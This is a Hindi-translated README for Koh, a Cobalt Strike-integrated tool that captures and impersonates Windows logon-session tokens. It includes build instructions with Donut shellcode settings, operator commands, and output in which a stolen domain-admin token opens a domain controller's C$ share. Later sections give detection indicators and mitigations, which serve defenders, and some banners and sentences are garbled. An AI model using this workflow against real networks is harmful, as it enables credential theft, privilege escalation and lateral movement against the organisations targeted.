
टोकन रिसाव के माध्यम से विंडोज लॉगऑन सत्र टोकन को कैप्चर करता है ताकि क्रेडेंशियल पुन: उपयोग और प्रतिरूपण को सक्षम किया जा सके, तथा पोस्ट-एक्सप्लॉइटेशन टोकन चोरी के लिए कोबाल्ट स्ट्राइक BOF एकीकरण के साथ।
Koh एक C# और बीकन ऑब्जेक्ट फ़ाइल (BOF) टूलसेट है जो जानबूझकर टोकन/लॉगऑन सत्र रिसाव के माध्यम से उपयोगकर्ता क्रेडेंशियल सामग्री को कैप्चर करने की अनुमति देता है।
कुछ कोड एलाड शमीर के इंटरनल-मोनोलॉग प्रोजेक्ट (कोई लाइसेंस नहीं) के साथ-साथ KB180548 से प्रेरित था। यह संभव क्यों है और Koh का दृष्टिकोण क्या है, इसके लिए इस README का तकनीकी पृष्ठभूमि अनुभाग देखें।
Koh के पीछे की प्रेरणा और इसके दृष्टिकोण की गहरी व्याख्या के लिए, Koh: The Token Stealer पोस्ट देखें।
@harmj0y इस कोड बेस के प्राथमिक लेखक हैं। @tifkin_ ने दृष्टिकोण, BOF कार्यान्वयन और कुछ टोकन यांत्रिकी में मदद की।
Koh BSD 3-Clause लाइसेंस के तहत लाइसेंस प्राप्त है।
Koh "सर्वर" टोकन कैप्चर करता है और नियंत्रण/संचार के लिए नामित पाइप का उपयोग करता है। इसे Donut में लपेटा जा सकता है और किसी भी उच्च-अखंडता SYSTEM प्रक्रिया में इंजेक्ट किया जा सकता है (देखें इनलाइन शेनानिगन्स बग)।
हम Koh के लिए बाइनरी जारी करने की योजना नहीं बना रहे हैं, इसलिए आपको स्वयं संकलन करना होगा :)
Koh को .NET 4.7.2 के विरुद्ध बनाया गया है और यह विज़ुअल स्टूडियो 2019 कम्युनिटी एडिशन के साथ संगत है। बस प्रोजेक्ट .sln खोलें, "रिलीज़" चुनें, और बनाएँ। Koh.exe असेंबली और Koh.bin Donut-निर्मित PIC मुख्य निर्देशिका में आउटपुट होंगे। Donut ब्लॉब x86/x64 दोनों के साथ संगत है, और इसे ./Misc/Donut.exe पर Donut के v0.9.3 का उपयोग करके निम्नलिखित विकल्पों के साथ बनाया गया है:```
[ Instance type : Embedded
[ Entropy : Random names + Encryption
[ Compressed : Xpress Huffman
[ File type : .NET EXE
[ Parameters : capture
[ Target CPU : x86+amd64
[ AMSI/WDLP : abort
Donut का लाइसेंस BSD 3-क्लॉज़ है।
### उपयोग
`Koh.exe Koh.exe <list | monitor | capture> [GroupSID... GroupSID2 ...]`
* **list** - (गैर-नेटवर्क) लॉगऑन सत्रों की सूची देता है
* **monitor** - नए/अद्वितीय (गैर-नेटवर्क) लॉगऑन सत्रों की निगरानी करता है
* **capture** - नए (गैर-नेटवर्क) लॉगऑन सत्रों के लिए पाए गए प्रति SID एक अद्वितीय टोकन कैप्चर करता है
ग्रुप SIDs को कमांड लाइन पर भी प्रदान किया जा सकता है, जिससे Koh केवल उन लॉगऑन सत्रों की निगरानी/कैप्चर करता है जिनमें उनकी वार्तालापित टोकन जानकारी में निर्दिष्ट ग्रुप SIDs शामिल हों।
### उदाहरण - लॉगऑन सत्रों की सूची बनाना```
C:\Temp>Koh.exe list
__ ___ ______ __ __
| |/ / / __ \ | | | |
| ' / | | | | | |__| |
| < | | | | | __ |
| . \ | `--' | | | | |
|__|\__\ \______/ |__| |__|
v1.0.0
[*] Command: list
[*] Elevated to SYSTEM
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\testuser
LUID : 207990196
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1119
Origin LUID : 1677733 (0x1999a5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492692
LogonType : Interactive
AuthPackage : Negotiate
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492608
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\harmj0y
LUID : 1677733
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1104
Origin LUID : 999 (0x3e7)
केवल उन परिणामों को सूचीबद्ध करता है जिनके टोकन जानकारी में domain admins (-512) group SID है:``` C:\Temp>Koh.exe monitor S-1-5-21-937929760-3187473010-80948926-512
| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0
[*] Command: monitor
[*] Starting server with named pipe: imposecost
[*] Elevated to SYSTEM
[*] Targeting group SIDs: S-1-5-21-937929760-3187473010-80948926-512
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492608 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Origin LUID : 999 (0x3e7)
## Koh क्लाइंट
वर्तमान उपयोग करने योग्य क्लाइंट एक बीकन ऑब्जेक्ट फ़ाइल है जो `.\Clients\BOF\` पर है। अपने Cobalt Strike क्लाइंट में `.\Clients\BOF\KohClient.cna` आक्रामक स्क्रिप्ट लोड करें ताकि Koh सर्वर के BOF नियंत्रण को सक्षम किया जा सके। कैप्चर किए गए टोकन का उपयोग करने के लिए एकमात्र आवश्यकता **SeImpersonatePrivilege** है। संचार नामित पाइप में "Everyone" DACL है लेकिन एक बुनियादी साझा पासवर्ड (super securez) का उपयोग करता है।
Linux पर Mingw का उपयोग करके ताजा संकलन करने के लिए, `.\Clients\BOF\build.sh` स्क्रिप्ट देखें। (कम से कम Debian पर) एकमात्र आवश्यकता `apt-get install gcc-mingw-w64` होनी चाहिए।
### उपयोग```
beacon> help koh
koh list - lists captured tokens
koh groups LUID - lists the group SIDs for a captured token
koh filter list - lists the group SIDs used for capture filtering
koh filter add SID - adds a group SID for capture filtering
koh filter remove SID - removes a group SID from capture filtering
koh filter reset - resets the SID group capture filter
koh impersonate LUID - impersonates the captured token with the give LUID
koh release all - releases all captured tokens
koh release LUID - releases the captured token for the specified LUID
koh exit - signals the Koh server to exit
koh filter add S-1-5-21-<DOMAIN>-<RID> कमांड केवल उन टोकन को कैप्चर करेगा जिनमें आपूर्ति किया गया समूह SID शामिल है। इस कमांड को कैप्चर के लिए अतिरिक्त SID जोड़ने के लिए कई बार चलाया जा सकता है। यह बड़ी संख्या में टोकन लीक के कारण संभावित स्थिरता समस्याओं को रोकने में मदद कर सकता है।
नए सत्र के लिए उपयोग करने योग्य टोकन पर बातचीत करके लॉगऑन सत्रों को कैप्चर करता है।
सर्वर:``` C:\Temp>Koh.exe capture
| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0
[*] Command: capture
[*] Starting server with named pipe: imposecost
[*] Elevated to SYSTEM
[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\testuser LUID : 207990196 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1119 Credential UserName : [email protected] Origin LUID : 1677733 (0x1999a5)
[*] Successfully negotiated a token for LUID 207990196 (hToken: 848)
[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Credential UserName : [email protected] Origin LUID : 1677765 (0x1999c5)
[*] Successfully negotiated a token for LUID 81492692 (hToken: 976)
[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Credential UserName : [email protected] Origin LUID : 999 (0x3e7)
[*] Successfully negotiated a token for LUID 1677733 (hToken: 980)
BOF ग्राहक:```
beacon> shell dir \\dc.theshire.local\C$
[*] Tasked beacon to run: dir \\dc.theshire.local\C$
[+] host called home, sent: 69 bytes
[+] received output:
Access is denied.
beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are NT AUTHORITY\SYSTEM (admin)
beacon> koh list
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe : \\.\pipe\imposecost
[+] received output:
Username : THESHIRE\localadmin (S-1-5-21-937929760-3187473010-80948926-1000)
LUID : 67556826
CaptureTime : 6/21/2022 1:24:42 PM
LogonType : Interactive
AuthPackage : Negotiate
CredUserName : [email protected]
Origin LUID : 1676720
Username : THESHIRE\da (S-1-5-21-937929760-3187473010-80948926-1145)
LUID : 67568439
CaptureTime : 6/21/2022 1:24:50 PM
LogonType : Interactive
AuthPackage : Negotiate
CredUserName : [email protected]
Origin LUID : 1677765
Username : THESHIRE\harmj0y (S-1-5-21-937929760-3187473010-80948926-1104)
LUID : 1677733
CaptureTime : 6/21/2022 1:23:10 PM
LogonType : Interactive
AuthPackage : Kerberos
CredUserName : [email protected]
Origin LUID : 999
beacon> koh groups 67568439
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe : \\.\pipe\imposecost
[+] received output:
S-1-5-21-937929760-3187473010-80948926-513
S-1-5-21-937929760-3187473010-80948926-512
S-1-5-21-937929760-3187473010-80948926-525
S-1-5-21-937929760-3187473010-80948926-572
beacon> koh impersonate 67568439
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe : \\.\pipe\imposecost
[+] received output:
[*] Enabled SeImpersonatePrivilege
[+] received output:
[*] Creating impersonation named pipe: \\.\pipe\imposingcost
[+] received output:
[*] Impersonation succeeded. Duplicating token.
[+] received output:
[*] Impersonated token successfully duplicated.
[+] Impersonated THESHIRE\da
beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are THESHIRE\DA (admin)
beacon> shell dir \\dc.theshire.local\C$
[*] Tasked beacon to run: dir \\dc.theshire.local\C$
[+] host called home, sent: 69 bytes
[+] received output:
Volume in drive \\dc.theshire.local\C$ has no label.
Volume Serial Number is A4FF-7240
Directory of \\dc.theshire.local\C$
01/04/2021 11:43 AM <DIR> inetpub
05/30/2019 03:08 PM <DIR> PerfLogs
05/18/2022 01:27 PM <DIR> Program Files
04/15/2021 09:44 AM <DIR> Program Files (x86)
03/20/2020 12:28 PM <DIR> RBFG
10/20/2021 01:14 PM <DIR> Temp
05/23/2022 06:30 PM <DIR> tools
03/11/2022 04:10 PM <DIR> Users
06/21/2022 01:30 PM <DIR> Windows
0 File(s) 0 bytes
9 Dir(s) 40,504,201,216 bytes free
जब सिस्टम पर एक नया लॉगऑन सत्र स्थापित होता है, तो LSASS द्वारा NtCreateToken() API कॉल का उपयोग करके लॉगऑन सत्र के लिए एक नया टोकन बनाया जाता है और LsaLogonUser() के कॉलर द्वारा लौटाया जाता है। यह लॉगऑन सत्र कर्नेल संरचना के ReferenceCount फ़ील्ड को बढ़ाता है। जब यह ReferenceCount 0 हो जाता है, तो लॉगऑन सत्र नष्ट हो जाता है। यह क्यों संभव है अनुभाग में वर्णित जानकारी के कारण, Windows सिस्टम किसी लॉगऑन सत्र को तब तक जारी नहीं करेंगे जब तक उसके लिए कोई टोकन हैंडल मौजूद है (और इसलिए संदर्भ गणना != 0)।
इसलिए यदि हम किसी टोकन के माध्यम से नवनिर्मित लॉगऑन सत्र का हैंडल प्राप्त कर सकते हैं, तो हम उस लॉगऑन सत्र को खुला रख सकते हैं और बाद में उस टोकन को प्रतिरूपित करके उसमें निहित किसी भी कैश्ड क्रेडेंशियल का उपयोग कर सकते हैं।
एक Microsoft इंजीनियर की इस पोस्ट के अनुसार:``` After MS16-111, when security tokens are leaked, the logon sessions associated with those security tokens also remain on the system until all associated tokens are closed... even after the user has logged off the system. If the tokens associated with a given logon session are never released, then the system now also has a permanent logon session leak as well.
[MS16-111](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-111) को Windows 7/Server 2008 पर वापस लागू किया गया था, इसलिए यह दृष्टिकोण Server 2003 सिस्टम को छोड़कर सभी के लिए प्रभावी होना चाहिए।
## दृष्टिकोण
लॉगऑन सत्रों की गणना करना (एक उन्नत संदर्भ से) [LsaEnumerateLogonSessions()](https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaenumeratelogonsessions) Win32 API के उपयोग से आसान है। इससे अधिक कठिन एक विशिष्ट लॉगऑन सत्र पहचानकर्ता (LUID) लेना और _किसी तरह_ उस सत्र से जुड़ा एक उपयोग योग्य टोकन प्राप्त करना है।
### संभावित दृष्टिकोण
हमने कुछ तरीकों पर विचार किया a) लॉगऑन सत्रों को खुला रखने और b) टोकन प्रतिरूपण/कैश्ड क्रेडेंशियल्स के उपयोग के लिए इसका दुरुपयोग करने के लिए।
1. पहला दृष्टिकोण **NtCreateToken()** का उपयोग करना था जो आपको एक नया टोकन बनाने के लिए एक लॉगऑन सत्र ID (LUID) निर्दिष्ट करने की अनुमति देता है।
* दुर्भाग्य से, आपको **SeCreateTokenPrivilege** की आवश्यकता है जो परंपरागत रूप से केवल LSASS के पास होता है, जिसका अर्थ है कि आपको LSASS का टोकन चुराने की आवश्यकता है जो आदर्श नहीं है।
* एक संभावना LSA नीति संशोधन के माध्यम से NT AUTHORITY\SYSTEM में **SeCreateTokenPrivilege** जोड़ना था, लेकिन नए उपयोगकर्ता अधिकारों को व्यक्त करने के लिए इसे रिबूट/नए लॉगऑन सत्र की आवश्यकता होगी।
2. आप केवल RemoteInteractive लॉगऑन सत्रों पर ध्यान केंद्रित कर सकते हैं, **WTSQueryUserToken()** का उपयोग करके क्लोन करने के लिए नए डेस्कटॉप सत्रों के टोकन प्राप्त कर सकते हैं।
* यह स्पष्ट रूप से [Ryan द्वारा प्रदर्शित](https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/using-debugging-tools-to-find-token-and-session-leaks/ba-p/400472) दृष्टिकोण है।
* दुर्भाग्य से यह नवनिर्मित स्थानीय सत्रों और PSEXEC जैसी चीजों से बनाए गए आने वाले सत्रों को छोड़ देता है।
3. एक नए लॉगऑन सत्र पर, प्रत्येक पहुंच योग्य प्रक्रिया के लिए एक हैंडल खोलें और सभी मौजूदा हैंडलों की गणना करें, नए लॉगऑन सत्र से जुड़े टोकन को क्लोन करें।
* इसके लिए बहुत सारी प्रक्रियाएं/हैंडल खोलने की आवश्यकता होती है, जो बहुत संदिग्ध दिखता है।
4. नीचे वर्णित **AcquireCredentialsHandle()**/**InitializeSecurityContext()**/**AcceptSecurityContext()** दृष्टिकोण, जिसे हमने अपनाया।
### हमारा दृष्टिकोण
SSPI [AcquireCredentialsHandle()](https://docs.microsoft.com/en-us/windows/win32/secauthn/acquirecredentialshandle--negotiate) कॉल में एक **pvLogonID** फ़ील्ड है जो बताता है:```
A pointer to a locally unique identifier (LUID) that identifies the user. This parameter is provided for file-system processes such as network redirectors.
नोट: AcquireCredentialsHandle() के साथ लॉगऑन सत्र LUID का उपयोग करने के लिए आपको SeTcbPrivilege की आवश्यकता है, हालांकि यह आमतौर पर SeCreateTokenPrivilege प्राप्त करने से आसान होता है।
इस कॉल का उपयोग करते हुए लॉगऑन सत्र आईडी/LUID निर्दिष्ट करने से लॉगऑन सत्र संरचना के लिए ReferenceCount बढ़ता प्रतीत होता है, जिससे इसे जारी होने से रोका जा सकता है। हालांकि, हमारे सामने एक और समस्या आती है: "लीक"/खुले हुए लॉगऑन सत्र के साथ, हम इससे उपयोगी टोकन कैसे प्राप्त करें? WTSQueryUserToken() केवल डेस्कटॉप सत्रों के साथ काम करता है, और कोई भी यूज़रलैंड API नहीं है जो हमें LUID को उपयोगी टोकन में मैप करने दे।
हालांकि हम दो अतिरिक्त SSPI फ़ंक्शन, InitializeSecurityContext() और AcceptSecurityContext() का उपयोग करके स्वयं के लिए क्लाइंट और सर्वर के रूप में कार्य कर सकते हैं, एक नया सुरक्षा संदर्भ वार्ता (negotiate) कर सकते हैं जिसका उपयोग हम QuerySecurityContextToken() के साथ एक उपयोगी टोकन प्राप्त करने के लिए कर सकते हैं। यह KB180548 (यहाँ PKISolutions द्वारा मिरर किया गया) में क्रेडेंशियल सत्यापन के उद्देश्यों के लिए प्रलेखित किया गया था। यह Internal-Monologue के समान दृष्टिकोण है, सिवाय इसके कि हम पूरी हैंडशेक प्रक्रिया को पूरा करते हैं, एक टोकन उत्पन्न करते हैं, और फिर इसे बाद में उपयोग के लिए रोकते हैं।
फिर स्वयं टोकन पर CheckTokenMembership() या GetTokenInformation() के माध्यम से फ़िल्टरिंग की जा सकती है। उदाहरण के लिए, हम डोमेन एडमिन या विशिष्ट समूहों से संबंधित टोकन को छोड़कर बाकी सभी टोकन जारी कर सकते हैं जिन्हें हम लक्षित करना चाहते हैं।
मैं काफी समय से कोडिंग कर रहा हूँ। यह उन अजीब और ढूंढने में निराशाजनक बगों में से एक है जो मुझे कुछ समय में मिला है - कृपया इसमें मेरी मदद करें lol।
जब Koh.exe असेंबली को उच्च (लेकिन गैर-SYSTEM) संदर्भ से चलाया जाता है, तो सब कुछ ठीक से काम करता है।
यदि Koh.exe असेंबली को Cobalt Strike के Beacon fork&run प्रक्रिया के माध्यम से execute-assembly के साथ उच्च (लेकिन गैर-SYSTEM) संदर्भ से चलाया जाता है, तो सब कुछ ठीक से काम करता है।
यदि Koh.exe असेंबली को इनलाइन (InlineExecute-Assembly या Inject-Assembly के माध्यम से) Cobalt Strike Beacon के लिए चलाया जाता है जो SYSTEM संदर्भ में चल रहा है, तो सब कुछ ठीक से काम करता है।
हालांकि यदि Koh.exe असेंबली को इनलाइन (InlineExecute-Assembly या Inject-Assembly के माध्यम से) Cobalt Strike Beacon के लिए चलाया जाता है जो उच्च लेकिन SYSTEM नहीं है, तो AcquireCredentialsHandle() का कॉल SEC_E_NO_CREDENTIALS के साथ विफल हो जाता है और सब कुछ विफल हो जाता है ¯\_(ツ)_/¯
हमने प्रयास किया है (कोई सफलता नहीं मिली):
सभी उद्देश्यों के लिए, इस संदर्भ में AcquireCredentialsHandle को कॉल करने से ठीक पहले थ्रेड संदर्भ काम करता है, लेकिन परिणाम त्रुटि देता है। और हमें कोई पता नहीं है कि ऐसा क्यों होता है।
यदि आपके पास कोई विचार है कि यह क्या हो सकता है, तो कृपया हमें बताएं! और यदि आप एक सरल असेंबली के साथ प्रयोग करना चाहते हैं, तो मेरे GitHub पर AcquireCredentialsHandle रेपो देखें।
@tifkin_ को उद्धृत करने के लिए: "Everything is stealthy until someone is looking for it." हालांकि Koh का दृष्टिकोण दूसरों से थोड़ा अलग है, फिर भी इसका पता लगाने के लिए IOCs का उपयोग किया जा सकता है।
C# Koh कलेक्टर के लिए अद्वितीय TypeLib GUID 4d5350c8-7f8c-47cf-8cde-c752018af17e है जैसा कि इस रेपो में Koh.yar Yara नियम में विस्तृत है। यदि संकलन पर इसे नहीं बदला जाता है, तो यह Koh सर्वर का बहुत उच्च निष्ठा संकेतक होना चाहिए।
जब Koh सर्वर शुरू होता है तो यह एक नामांकित पाइप \\.\pipe\imposecost खोलता है जो तब तक खुला रहता है जब तक Koh चल रहा है। Koh संचार के लिए उपयोग किया जाने वाला डिफ़ॉल्ट पासवर्ड password है, इसलिए किसी भी \\.\pipe\imposecost पाइप पर password list भेजने से आप पुष्टि कर सकते हैं कि Koh वास्तव में चल रहा है या नहीं। उपयोग किया जाने वाला डिफ़ॉल्ट प्रतिरूपण पाइप \\.pipe\imposingcost है।
यदि Koh उच्च संदर्भ में शुरू होता है लेकिन SYSTEM के रूप में नहीं, तो getsystem प्रकार की ऊंचाई करने के लिए winlogon का एक हैंडल/टोकन क्लोन किया जाता है।
मुझे यकीन है कि कोई भी हमलावर ऊपर बताए गए संकेतकों को नहीं बदलेगा।
टोकन कैप्चर के लिए संभवतः कुछ RPC कलाकृतियाँ हैं जिनकी हम जाँच करने की उम्मीद कर रहे हैं। यदि हमें इस संबंध में कोई अतिरिक्त पहचान कलाकृतियाँ मिलती हैं तो हम README के इस अनुभाग को अपडेट करेंगे। Koh (LsaEnumerateLogonSessions या विशिष्ट AcquireCredentialsHandle/InitializeSecurityContext/AcceptSecurityContext, विशेष रूप से AcquireCredentialsHandle में LUID का उपयोग करके) द्वारा उपयोग किए जाने वाले संभवतः असामान्य APIs की हुकिंग प्रभावशीलता के लिए खोजी जा सकती है, लेकिन अफसोस, मैं EDR नहीं हूँ।
Koh: The Token Stealer पोस्ट प्रकाशित करने के बाद, मेरी @cnotin और @SteveSyfuhs के बीच एक शानदार बातचीत हुई जिसमें इस दृष्टिकोण के लिए आंशिक शमन के बारे में बताया गया।
KB2871997 पैच ने TokenLeakDetectDelaySecs सेटिंग पेश की, जो "...लॉग ऑफ किए गए उपयोगकर्ताओं के किसी भी क्रेडेंशियल को साफ करना..." ट्रिगर करती है। वास्तव में, "Protected Users Security Group" के सदस्यों के लिए रजिस्ट्री सेटिंग की परवाह किए बिना यह व्यवहार लागू होता है। हालांकि, इसे गैर-शून्य मान पर सेट करने से उपयोगकर्ता के लॉग ऑफ करने पर सभी क्रेडेंशियल मेमोरी से साफ़ हो जाएंगे। विशेष रूप से, जैसा कि Steve उल्लेख करते हैं: यदि सेट किया जाता है, तो यह किसी सत्र के *इंटरैक्टिव* लॉगऑफ ईवेंट पर एक टाइमर शुरू करेगा, और फायर होने पर उससे जुड़ी किसी भी चीज़ को शुद्ध कर देगा। डिफ़ॉल्ट रूप से बंद। संरक्षित उपयोगकर्ता हमेशा चालू रहते हैं, 30 सेकंड के डिफ़ॉल्ट के साथ।
उपरोक्त पैराग्राफ में दो महत्वपूर्ण बातों पर ध्यान देना है: "लॉगऑफ ईवेंट" और "इंटरैक्टिव"। इसके परिणामस्वरूप कुछ स्थितियों में उपयोगकर्ता के क्रेडेंशियल साफ़ नहीं हो सकते हैं:
runas या runas /netonly प्रकार के स्पॉन या इसी तरह के माध्यम से मौजूद है, तो प्रक्रिया रुकने पर कोई लॉगऑफ ईवेंट नहीं होता है और क्रेडेंशियल/टोकन अभी भी कैप्चर किए जा सकते हैं।(मुझे NetworkClearText जैसी अन्य लॉगऑन स्थितियों का परीक्षण करने की आवश्यकता है।)
हालांकि, यदि उपयोगकर्ता "संरक्षित उपयोगकर्ता सुरक्षा समूह" में है या TokenLeakDetectDelaySecs गैर-शून्य है, और उपयोगकर्ता सक्रिय रूप से किसी इंटरैक्टिव या रिमोट इंटरैक्टिव (RDP) सत्र से लॉग ऑफ करता है, तो क्रेडेंशियल साफ़ हो जाएंगे। मुझे Koh को इन विशिष्ट प्रकार की स्थितियों को बेहतर ढंग से संभालने के लिए प्रोग्राम करना होगा।
संक्षेप में: आपको वास्तव में संवेदनशील उपयोगकर्ताओं के लिए "Protected Users Security Group" का उपयोग करना चाहिए, और देखें कि क्या आपके परिवेश में TokenLeakDetectDelaySecs को 30 जैसे मान पर सेट करना संभव है।